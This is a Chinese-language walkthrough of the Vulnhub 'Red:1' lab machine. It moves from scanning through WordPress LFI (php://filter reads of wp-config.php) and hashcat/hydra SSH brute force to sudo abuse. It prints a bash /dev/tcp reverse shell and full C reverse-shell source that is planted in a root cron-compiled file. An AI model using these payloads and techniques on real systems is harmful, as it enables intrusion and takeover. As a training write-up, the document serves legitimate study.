环境搭建
Red:1靶机 平台:virtualbox 网卡:仅主机模式:virtual-host-only
kali攻击机 平台:vmware workstation 网卡:桥接模式:virtual-host-only
保证两台主机处于同一网段或路由互通即可。
信息收集
使用kali arp-scan扫描本网段主机。
arp-scan -l
探测到靶机真实IP为192.168.56.104。接下来使用nmap扫描相关开放端口及服务。
nmap -T4 -A -v 192.168.56.104
靶机开放端口22和80,对应ssh和http服务。
访问web网页,发现是一个被篡改页面。
提示该页面已经被红方侵入,同时界面上提示wordpress,wappalyze也扫描到使用了wordpress CMS。同时界面点击search会跳转到一个http://redrocks.win。
扫描网站目录尝试寻找后台,此处需要修改hosts文件,否则会出现无法访问的情况。
访问到了redorcks.win网页,同样是一个被red篡改的wordpress网页。
但是在/hello-world网页的源码中发现了这样一段话,还在寻找吗?也许你应该向Miessler寻求帮助,但是无所谓,反正你也看不懂。
那么就搜索一下Miessler相关的消息,在github上找到了一个相关的账号,发布了一个SecLists工具。工具提示:
SecLists 是安全测试人员的伴侣。它是安全评估期间使用的多种类型列表的集合,收集在一个地方。 列表类型包括用户名、密码、URL、敏感数据模式、模糊测试payload、WebShell 等等。 目标是使安全测试人员能够将此存储库拉到一个新的测试框上,并可以访问可能需要的每种类型的列表。
SecLists
是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等。
下载下来看一下,在Discovery/Web-Content文件夹下存在许多的字典,被攻陷网站从一开始就提示说有后门只是找不到,正好可以利用这些字典来跑。同时wordpress是搭建在Apache上的,使用php语言,所以使用字典中的CommonBackdoors-PHP.fuzz.txt字典来跑。
这里使用gobuster工具来操作。
gobuster dir -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win
dir:传统的目录爆破模式;
dns:DNS子域名爆破模式;
vhost:虚拟主机爆破模式;
扫描到一个NetworkFileManagerPHP.php文件,状态码为500。尝试访问发现为空白,但是页面是存在的,说明可能存在LFI。
文件包含
可以配合模糊查询来测试参数,此处将字典下载到了本地使用burpsuite进行爆破。
wfuzz -c -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt
通过intruder模块,成功跑出隐藏的参数是key,并且确实存在LFI,使用/etc/passwd成功查看到账户信息。
那么就可以配合PHP伪协议来访问对应的网页源码。
?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
将返回页面的内容进行base64解码
解出了一串代码,其中还有一部分base64继续解码得到
That password alone won't help you! Hashcat says rules are rules。
仅凭那个密码对你没有任何帮助!Hashcat说规则就是规则。
虽然没有什么用,但是因为提到了hashcat,那么就可以寻找账号密码信息,而wordpressCMS已知的配置文件是wp-config.php。
还是利用PHP伪协议读取文件源码然后base64解码。
?key=php://filter/convert.base64-encode/resource=wp-config.php
将回显的内容进行base64解密,得到了配置文件,其中有了一个MySQL数据库的账号和密码。
密码破解
那么就可以尝试登录SSH,将密码保存到文件中,然后使用hashcat规则破解,因为之前提示说拿到密码也没有用,hashcat才是规则。
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
得到了一堆密码,那么就利用hydra进行SSH爆破。
hydra -l john -P passlist.txt 192.168.56.104 ssh
!!Gn1k_3r3hwl4m_v3R尝试连接成功。
但是在shell中一直会弹出redrock留的话语。
在操作一段时间shell之后发现自动掉线,说明有挖好的坑。
同时发现密码会随机变,掉线之后就需要再拿hydra跑新密码,这次使用了Gn1k_3r3hwl4m_v3R!!00。登录之后有一个note_from_red.txt文件。
看来是在cat处做了手脚,查看权限发现是ippsec用户执行了/usr/bin/time。
由于一直掉线,那么就配合反弹shell,在登录之后重新回弹一个shell给我们。再次使用hydra爆破密码,登录后创建一个反弹shell。
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.56.103/6789 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'
kali端成功回弹,这样就不怕他再踢人掉线了。
系统提权
既然shell已经稳定,那么就剩最后一步提权了,目前是普通用户。同时解决一下之前的red一直发骚扰消息的问题,既然隔一段时间就会弹一句,并且定时踢出会话,那么一定是有计划任务一类在执行。但是当前普通用户看不到root权限的计划任务,这里就可以配合pspy64s这个脚本,可以无需root权限来监控进程。由于都是仅主机模式,所以只能是本机先下载传递到kali,再在kali上开启http服务,在靶机上进行wget下载操作。
wget http://192.168.56.103:8000/pspy64s
增加可执行权限并执行。
找到了backdoor的后门,查看该supersecretfileuc.c文件的内容。
网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。所以删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c。
此处提权需要进行C的提权,配合https://www.revshells.com/。
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 6789;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.103");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
之后进入/var/www/wordpress/.git目录,上传supersecretfileuc.c文件。
同时开启监听端口,等待连接,拿到shell便是root权限,便可以寻找最后的flag。
最终在/root/root.txt文件中得到flag。
以及用户的flag,在oxdf用户下。
靶机总结
个人心中vulnhub完美的靶机,很真实的还原了在面临黑客入侵时如何一步一步反败为胜,其中很多的知识点也是初次见到,与“黑客”的心理博弈也是一大亮点。